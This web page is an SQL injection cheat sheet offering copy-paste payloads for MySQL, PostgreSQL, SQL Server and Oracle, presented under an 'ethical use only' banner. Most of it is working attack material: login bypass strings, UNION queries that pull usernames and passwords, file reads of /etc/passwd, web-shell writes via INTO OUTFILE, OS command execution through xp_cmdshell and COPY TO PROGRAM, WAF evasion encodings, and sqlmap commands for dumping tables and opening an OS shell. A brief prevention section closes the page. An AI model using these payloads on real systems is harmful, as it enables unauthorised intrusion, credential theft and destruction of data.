SQL Injection Cheat Sheet

SQL Injection Master Toolkit

Complete Penetration Testing Arsenal – From Beginner to Expert

🚀 Comprehensive SQL Injection Guide covering all attack vectors, database types, and bypass techniques

📚 Beginner to Advanced – Start with basic detection and progress to complex WAF bypass methods

🛡️ Ethical Use Only – For authorized testing, bug bounty hunting, and security research

Ready-to-Use Payloads – Copy-paste tested payloads for MySQL, PostgreSQL, SQL Server & Oracle

🔍 Detection Methods 💉 Injection Techniques 🔓 Bypass Methods 🛠️ Automation Tools 🛡️ Prevention Tips

🔍 Detection & Testing

Quick Detection Strategy: Start with simple quotes, then progress to boolean tests, time delays, and error generation.

Basic Detection Tests

-- Simple quote test
'
"
`
')
")
`)

-- Numeric tests
1'
1"
1`
1')
1")
1`)

-- Boolean tests
1' OR '1'='1
1' OR '1'='1'--
1' OR '1'='1'#
1' OR '1'='1'/*

-- Time delay tests
1' AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
1'; WAITFOR DELAY '0:0:5'--
1'||pg_sleep(5)--

HTTP Parameter Testing

GET /search?q=test'
POST data: username=admin'&password=test
Cookie: sessionid=abc123'
Header: X-Forwarded-For: 127.0.0.1'

Detection Indicators

🚨 Error Messages

Database errors in response, SQL syntax errors, table/column not found errors

⏱️ Response Time

Significant delays in response time during time-based tests

📏 Content Length

Different content length between true/false conditions

🔄 Boolean Changes

Different responses for true/false boolean conditions

🚀 Basic Payloads

Authentication Bypass

-- Login bypass
admin'--
admin'#
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' or 1=1 or ''='
' or 1=1 or ""="
admin' or '1'='1'#
admin' or '1'='1'--
admin' or '1'='1'/*

Simple Union Tests

-- Union column detection
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--

-- Union with integers
' UNION SELECT 1--
' UNION SELECT 1,2--
' UNION SELECT 1,2,3--
' UNION SELECT 1,2,3,4--

Error Generation

-- Generate errors
'
''
')'
'))
'))'

🎭 Advanced Payloads

Stacked Queries

-- Multiple statements
'; DROP TABLE users--
'; INSERT INTO users VALUES ('hacker','pass')--
'; UPDATE users SET password='hacked' WHERE id=1--
'; EXEC xp_cmdshell('whoami')--

Subquery Injection

-- Subquery in WHERE
' AND (SELECT COUNT(*) FROM information_schema.tables)>0--
' AND (SELECT user FROM mysql.user LIMIT 1)='root'--

-- Subquery in SELECT
' UNION SELECT (SELECT GROUP_CONCAT(username) FROM users)--
' UNION SELECT (SELECT version())--

Complex Boolean Logic

-- Complex conditions
' AND (SELECT 1 FROM dual WHERE 1=1)=1--
' AND (SELECT 1 FROM information_schema.tables LIMIT 1)=1--
' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

🗄️ Database Specific

MySQL

-- Version detection
' AND (SELECT @@version)--
' UNION SELECT @@version--
' UNION SELECT version()--

-- Database enumeration
' UNION SELECT schema_name FROM information_schema.schemata--
' UNION SELECT database()--
' UNION SELECT user()--

-- Table enumeration
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

-- Column enumeration
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Data extraction
' UNION SELECT username,password FROM users--
' UNION SELECT GROUP_CONCAT(username) FROM users--
' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--

-- File operations
' UNION SELECT LOAD_FILE('/etc/passwd')--
' UNION SELECT 'shell code' INTO OUTFILE '/var/www/html/shell.php'--

PostgreSQL

-- Version detection
' UNION SELECT version()--

-- Database enumeration
' UNION SELECT datname FROM pg_database--
' UNION SELECT current_database()--
' UNION SELECT current_user--

-- Table enumeration
' UNION SELECT tablename FROM pg_tables--
' UNION SELECT table_name FROM information_schema.tables--

-- Data extraction
' UNION SELECT username||':'||password FROM users--
' UNION SELECT string_agg(username,',') FROM users--

SQL Server

-- Version detection
' UNION SELECT @@version--

-- Database enumeration
' UNION SELECT name FROM master..sysdatabases--
' UNION SELECT db_name()--
' UNION SELECT user_name()--

-- Table enumeration
' UNION SELECT name FROM sysobjects WHERE type='U'--
' UNION SELECT table_name FROM information_schema.tables--

-- Data extraction
' UNION SELECT username+':'+password FROM users--

-- Command execution
'; EXEC xp_cmdshell('whoami')--

Oracle

-- Version detection
' UNION SELECT banner FROM v$version--
' UNION SELECT version FROM v$instance--

-- Database enumeration
' UNION SELECT username FROM all_users--
' UNION SELECT user FROM dual--

-- Table enumeration
' UNION SELECT table_name FROM all_tables--
' UNION SELECT table_name FROM user_tables--

-- Data extraction
' UNION SELECT username||':'||password FROM users--
' UNION SELECT listagg(username,',') FROM users--

🔄 Bypass Techniques

Comment Bypass

-- Different comment styles
'/*comment*/
'#comment
'--comment
';%00

-- Inline comments
'/**/or/**/1=1--
'/**/union/**/select/**/1,2,3--
'/**/and/**/1=1/**/

Case Manipulation

-- Mixed case
' Or 1=1--
' oR 1=1--
' OR 1=1--
' UnIoN sElEcT 1,2,3--
' UNION SELECT 1,2,3--

Space Bypass

-- Alternative whitespace
'or(1=1)--
'or/**/1=1--
'or+1=1--
'or%201=1--
'or%091=1--
'or%0a1=1--
'or%0b1=1--
'or%0c1=1--
'or%0d1=1--
'or%a01=1--

🔗 Union Based

Column Number Detection

-- Method 1: NULL increment
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--

-- Method 2: ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--

-- Method 3: GROUP BY
' GROUP BY 1--
' GROUP BY 2--
' GROUP BY 3--
' GROUP BY 4--

Blind SQLi

Boolean Based

-- True/False conditions
' AND 1=1--  (True)
' AND 1=2--  (False)

-- Database existence
' AND (SELECT COUNT(*) FROM information_schema.tables)>0--
' AND (SELECT COUNT(*) FROM sysobjects)>0--

-- Table existence
' AND (SELECT COUNT(*) FROM users)>0--
' AND (SELECT COUNT(*) FROM admin)>0--

-- Data extraction by character
' AND (SELECT ASCII(SUBSTR(username,1,1)) FROM users LIMIT 1)=97--
' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users)=97--

⚠️ Error Based

MySQL Error Based

-- UpdateXML error
' AND UpdateXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--
' AND UpdateXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--
' AND UpdateXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)--

-- ExtractValue error
' AND ExtractValue(1,CONCAT(0x7e,(SELECT version()),0x7e))--
' AND ExtractValue(1,CONCAT(0x7e,(SELECT user()),0x7e))--
' AND ExtractValue(1,CONCAT(0x7e,(SELECT database()),0x7e))--

⏰ Time Based

MySQL Time Based

-- SLEEP function
' AND SLEEP(5)--
' AND (SELECT SLEEP(5))--
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE SLEEP(5))--

-- Conditional time delay
' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--
' AND IF((SELECT ASCII(SUBSTR(username,1,1)) FROM users LIMIT 1)=97,SLEEP(5),0)--

SQL Server Time Based

-- WAITFOR DELAY
' AND WAITFOR DELAY '0:0:5'--
' AND WAITFOR DELAY '0:0:10'--

-- Conditional delay
' AND IF((SELECT COUNT(*) FROM users)>0,WAITFOR DELAY '0:0:5',0)--

🔐 Authentication Bypass

Basic Authentication Bypass

-- Username field
admin'--
admin'#
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
' or '1'='1'--
' or '1'='1'#
' or '1'='1'/*
') or '1'='1'--
') or ('1'='1'--
admin' or '1'='1'--

📊 Data Extraction

Database Enumeration

-- List databases
' UNION SELECT schema_name FROM information_schema.schemata--
' UNION SELECT name FROM master..sysdatabases--
' UNION SELECT datname FROM pg_database--

-- Current database
' UNION SELECT database()--
' UNION SELECT db_name()--
' UNION SELECT current_database()--

Table Enumeration

-- List tables
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT name FROM sysobjects WHERE type='U'--
' UNION SELECT tablename FROM pg_tables--

-- Table count
' UNION SELECT COUNT(table_name) FROM information_schema.tables--

Data Extraction

-- Extract usernames
' UNION SELECT username FROM users--
' UNION SELECT GROUP_CONCAT(username) FROM users--
' UNION SELECT username,password FROM users--

-- Extract with separators
' UNION SELECT CONCAT(username,':',password) FROM users--
' UNION SELECT username||':'||password FROM users--
' UNION SELECT username+':'+password FROM users--

📁 File Operations

MySQL File Operations

-- Read files
' UNION SELECT LOAD_FILE('/etc/passwd')--
' UNION SELECT LOAD_FILE('/etc/hosts')--
' UNION SELECT LOAD_FILE('/var/log/apache2/access.log')--

-- Write files
' UNION SELECT 'shell code' INTO OUTFILE '/var/www/html/shell.php'--
' UNION SELECT '' INTO OUTFILE '/var/www/html/cmd.php'--

PostgreSQL File Operations

-- Read files (requires superuser)
' UNION SELECT pg_read_file('/etc/passwd')--
' UNION SELECT pg_read_file('/etc/hosts')--

💻 OS Commands

SQL Server OS Commands

-- xp_cmdshell
'; EXEC xp_cmdshell('whoami')--
'; EXEC xp_cmdshell('net user')--
'; EXEC xp_cmdshell('ipconfig')--
'; EXEC xp_cmdshell('dir C:\')--

-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

MySQL OS Commands

-- User-Defined Functions (UDF)
' UNION SELECT sys_exec('whoami')--
' UNION SELECT sys_eval('whoami')--

-- Custom functions (if available)
' UNION SELECT do_system('whoami')--
' UNION SELECT exec_cmd('whoami')--

PostgreSQL OS Commands

-- COPY command
'; COPY (SELECT '') TO PROGRAM 'whoami'--
'; COPY (SELECT '') TO PROGRAM 'id'--
'; COPY (SELECT '') TO PROGRAM 'ls -la'--

🛡️ WAF Bypass

Encoding Bypass

-- URL encoding
%27%20or%201=1--
%27%20union%20select%201,2,3--

-- Double URL encoding
%2527%2520or%25201=1--
%2527%2520union%2520select%25201,2,3--

-- Hex encoding
0x27206f7220313d312d2d
0x2720756e696f6e2073656c65637420312c322c332d2d

-- Unicode encoding
\u0027\u0020or\u00201=1--
\u0027\u0020union\u0020select\u00201,2,3--

Obfuscation Techniques

-- Mixed case
' Or 1=1--
' UnIoN sElEcT 1,2,3--

-- Comments
'/**/or/**/1=1--
'/**/union/**/select/**/1,2,3--
'#comment%0aor 1=1--

-- Concatenation
' or 1=1 and 'a'='a
' or 1=1 and "a"="a

WAF Specific Bypasses

-- ModSecurity bypass
' /*!or*/ 1=1--
' /*!union*/ /*!select*/ 1,2,3--
' /*!50000or*/ 1=1--

-- Cloudflare bypass
' or 1=1#
' or 1=1%23
' or 1=1;%00

-- AWS WAF bypass
' or 1=1-- -
' or 1=1#%0a
' or 1=1;#

🔧 Tools & Automation

SQLMap Commands

# Basic usage
sqlmap -u "http://target.com/page.php?id=1"

# POST data
sqlmap -u "http://target.com/login.php" --data "username=admin&password=admin"

# Cookies
sqlmap -u "http://target.com/page.php?id=1" --cookie "PHPSESSID=abc123"

# Headers
sqlmap -u "http://target.com/page.php?id=1" --headers "X-Forwarded-For: 127.0.0.1"

# Database enumeration
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump

# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell

# File operations
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Bypass techniques
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment
sqlmap -u "http://target.com/page.php?id=1" --tamper=charencode
sqlmap -u "http://target.com/page.php?id=1" --tamper=versioncomment

Manual Testing Tools

# Curl
curl -d "username=admin'&password=test" http://target.com/login.php
curl -H "X-Forwarded-For: 127.0.0.1'" http://target.com/page.php

# wget
wget --post-data="username=admin'&password=test" http://target.com/login.php

# Python requests
import requests
data = {'username': "admin'", 'password': 'test'}
response = requests.post('http://target.com/login.php', data=data)

Other Useful Tools

🔥 NoSQLMap

NoSQL injection testing tool for MongoDB, CouchDB, etc.

Commix

Command injection and exploitation tool

🕷️ OWASP ZAP

Web application security scanner with SQLi detection

🔍 Burp Suite

Professional web security testing platform

🛡️ Prevention & Mitigation

⚠️ Important: Always use prepared statements and parameterized queries. Never concatenate user input directly into SQL queries.

Secure Coding Practices

// PHP - Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

// PHP - Parameterized Queries
$stmt = mysqli_prepare($conn, "SELECT * FROM users WHERE username = ? AND password = ?");
mysqli_stmt_bind_param($stmt, "ss", $username, $password);
mysqli_stmt_execute($stmt);

// Java - Prepared Statements
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

// Python - Parameterized Queries
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

// C# - Parameterized Queries
string sql = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(sql, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);

Input Validation

# Whitelist validation
def validate_input(user_input):
    allowed_chars = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
    return all(c in allowed_chars for c in user_input)

# Length validation
def validate_length(user_input, max_length=50):
    return len(user_input) <= max_length

# Pattern validation
import re
def validate_pattern(user_input, pattern):
    return re.match(pattern, user_input) is not None

# Escape special characters
def escape_input(user_input):
    return user_input.replace("'", "''").replace('"', '""')

Database Security Best Practices

🔐 Least Privilege

Grant minimal necessary permissions to database users. Don't use admin accounts for applications.

🚫 Disable Functions

Disable dangerous functions like xp_cmdshell, LOAD_FILE, and other system functions.

🔒 Encryption

Encrypt sensitive data at rest and in transit. Use strong encryption algorithms.

📊 Monitoring

Monitor database access patterns and detect anomalies or suspicious activities.

Web Application Firewall (WAF)

🛡️ WAF Configuration Tips

  • SQL Injection Rules: Configure rules to block common SQLi patterns and payloads
  • Rate Limiting: Implement rate limiting to prevent automated attacks
  • Whitelist Approach: Allow only legitimate URLs and parameters
  • Content Filtering: Block requests containing malicious patterns
  • Logging & Monitoring: Log all blocked requests and analyze attack patterns

Security Headers

# Security Headers
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000

# PHP Headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: DENY");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

Leave a Reply

Your email address will not be published. Required fields are marked *